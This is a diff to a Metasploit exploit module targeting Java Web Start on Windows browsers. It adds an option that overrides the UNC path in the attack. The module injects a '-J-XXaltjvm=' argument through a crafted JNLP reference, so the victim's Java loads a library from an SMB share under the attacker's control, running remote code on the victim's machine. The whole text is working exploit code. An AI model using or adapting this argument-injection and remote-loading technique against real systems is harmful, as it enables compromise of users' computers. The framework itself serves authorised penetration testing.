diff --git a/modules/exploits/windows/browser/java_ws_arginject_altvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altvm.rb
index 6a59f5fab5..a1db1b780b 100644
--- a/modules/exploits/windows/browser/java_ws_arginject_altvm.rb
+++ b/modules/exploits/windows/browser/java_ws_arginject_altvm.rb
@@ -74,7 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
 		register_options(
 			[
 				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
-				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
+				OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
+				OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
 			], self.class)
 	end
 
@@ -187,7 +188,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
 			print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
 
-			unc = "\\\\" + my_host + "\\" + share_name
+			if (datastore['UNCPATH'])
+				unc = datastore['UNCPATH'].dup
+			else
+				unc = "\\\\" + my_host + "\\" + share_name
+			end
 			jnlp = "-J-XXaltjvm=" + unc + " " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
 			docbase = ""